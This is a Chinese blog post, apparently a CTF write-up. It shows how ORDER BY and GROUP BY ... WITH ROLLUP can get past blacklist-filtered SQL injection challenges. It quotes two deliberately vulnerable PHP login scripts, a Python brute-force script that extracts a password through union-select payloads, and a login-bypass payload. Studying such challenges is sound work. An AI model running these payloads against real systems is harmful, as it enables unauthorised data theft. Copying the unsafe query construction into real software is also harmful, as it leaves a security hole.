Iuhrey

一个常年被吊打的Web手 一个唱歌不好指弹垃圾的吉他手

order by以及group by在sql注入中的妙用

写在前面

最近Iscc的注入题目真是让人发疯,为此我找了一些sql注入来练手,发现了这么几道有趣的题目,来记录一下

order by

总所周知,在sql注入中,我们一般使用order by来确定列数,这样有助于我们使用联合查询来查询我们所要的数据,为何可以查询出我们所要的数据呢?因为order by是一个排序的函数,order by x的意思是对x列的数据进行ascii码的排序,如果这一列不存在,那么就会报错,所以可以达到确定列数的作用。例子就借鉴大手子的吧。

例子如下

扫出有源码,如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<?php
$dbhost = "localhost";
$dbuser = "root";
$dbpass = "123456";
$db = "ctf";
$conn = mysqli_connect($dbhost,$dbuser,$dbpass,$db);
mysqli_set_charset($conn,"utf8");

/* sql

create table `admin` (
`id` int(10) not null primary key auto_increment,
`username` varchar(20) not null ,
`password` varchar(32) not null
);
*/
function filter($str){
$filterlist = "/\(|\)|username|password|where|
case|when|like|regexp|into|limit|=|for|;/";
if(preg_match($filterlist,strtolower($str))){
die("illegal input!");
}
return $str;
}
$username = isset($_POST['username'])?
filter($_POST['username']):die("please input username!");
$password = isset($_POST['password'])?
filter($_POST['password']):die("please input password!");
$sql = "select * from admin where username =
'$username' and password = '$password' ";

$res = $conn -> query($sql);
if($res->num_rows>0){
$row = $res -> fetch_assoc();
if($row['id']){
echo $row['username'];
}
}else{
echo "The content in the password column is the flag!";
}

?>

从源码可以得出,在这个admin表中有三列。其次呢,发现这题目过滤了password,username,=等等,然后就是回显的要求了,要求我们输入的数据在数据库里面存在,然后通过id给我们返回username,但是我们所要的flag在password里面,这里就需要我们用一些特殊的方法来把password提取出来,由于回显,我们考虑一下布尔型注入,发现()被ban了,所以这一条路是走不通了,不过仔细观察发现,我们除了union select还可以利用’以及order by等函数。结合回显是通过id来查询,所以我们可以使用order by进行排序然后通过不同输出判断密码值。我们可以试试。
首先通过构造‘ or 1#查查原来的username。

再查询一下回显位。

接着按照我们的思路来试试。


测试完了接下来就可以使用爆破来出flag了。脚本如下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#coding=utf-8
import requests
import string
url = "http://202.98.28.108:10801/47g256f48gff/"
l = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ_abcdefghijklmnopqrstuvwxyz{}"
number = len(l)
password = list()
flag = 0
ps = ""
for i in range(0,32):#32位
for j in range(0,number):
p = ""
password.append(l[j])
p = p.join(password)
r = requests.post(url,data={"username":"whaleadmin' union select 1,2,'%s' order by 3#"%(p),"password":"1"})
if "whaleadmin" in r.content:
if j == 0:
flag = 1
break
else:
password.pop(len(password) - 1)
password.append(l[j - 1])
break
else:
password.pop(len(password) - 1)
if flag == 1:
break
print password
print ps.join(password)#输出的密码最后一位需要后移一位

爆破出密码之后md5解密一下flag就出来了。

group by以及with rollup

group by顾名思义就是把不同数据总和起来,然后进行排序输出。具体的例子可以去这里看看https://www.cnblogs.com/jingfengling/p/5962182.html,我这里就不多阐述了。
字句with rollup,求平均值的字句用法也不多说,参考https://blog.csdn.net/id19870510/article/details/6254358

例子

题目地址:http://ctf5.shiyanbar.com/web/pcat/index.php ,这是实验吧的一道题目。
首先f12有个提示,访问/source.txt得到源码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
<?php
error_reporting(0);

if (!isset($_POST['uname']) || !isset($_POST['pwd'])) {
echo '<form action="" method="post">'."<br/>";
echo '<input name="uname" type="text"/>'."<br/>";
echo '<input name="pwd" type="text"/>'."<br/>";
echo '<input type="submit" />'."<br/>";
echo '</form>'."<br/>";
echo '<!--source: source.txt-->'."<br/>";
die;
}

function AttackFilter($StrKey,$StrValue,$ArrReq){
if (is_array($StrValue)){
$StrValue=implode($StrValue);
}
if (preg_match("/".$ArrReq."/is",$StrValue)==1){
print "水可载舟,亦可赛艇!";
exit();
}
}

$filter = "and|select|from|where|union|join|sleep|benchmark|,|\(|\)";
foreach($_POST as $key=>$value){
AttackFilter($key,$value,$filter);
}

$con = mysql_connect("XXXXXX","XXXXXX","XXXXXX");
if (!$con){
die('Could not connect: ' . mysql_error());
}
$db="XXXXXX";
mysql_select_db($db, $con);
$sql="SELECT * FROM interest WHERE uname = '{$_POST['uname']}'";
$query = mysql_query($sql);
if (mysql_num_rows($query) == 1) {
$key = mysql_fetch_array($query);
if($key['pwd'] == $_POST['pwd']) {
print "CTF{XXXXXX}";
}else{
print "亦可赛艇!";
}
}else{
print "一颗赛艇!";
}
mysql_close($con);
?>

源码审计,发现题目过滤了很多东西,起码联合查询,延时注入,盲注都不太现实,但是这里依旧没有过滤select,接着看得到flag的要求。
首先我们输入一个用户名,网页通过查询数据库得到该用户名的密码,再把该用户名的密码与我们所输入的进行匹配,如果成功,那么flag就到手了。
那么问题来了,我们根本不知道用户名,也不知道其密码是什么,如何达到匹配的效果呢?这里group by就派上了用场。注意这个$key是查询结果的赋值,我们在一定前提下是可以控制返回的数据的,根据gourp by的用法,我们可以构造一个语句使得查询的密码经过处理后为空,然后输入的密码也为空以此匹配。
构造‘ or 1 group by pwd with rollup limit 1 offset 0,1,2…….#偏移值一个一个试过去,毕竟不知道那个是有效值,经过尝试最终试出flag的偏移值为2。

结语

sql注入中的基操还是太多了,学不完学不完…….不过还是该学的得学,紧跟着大佬的步伐。

本站总访问量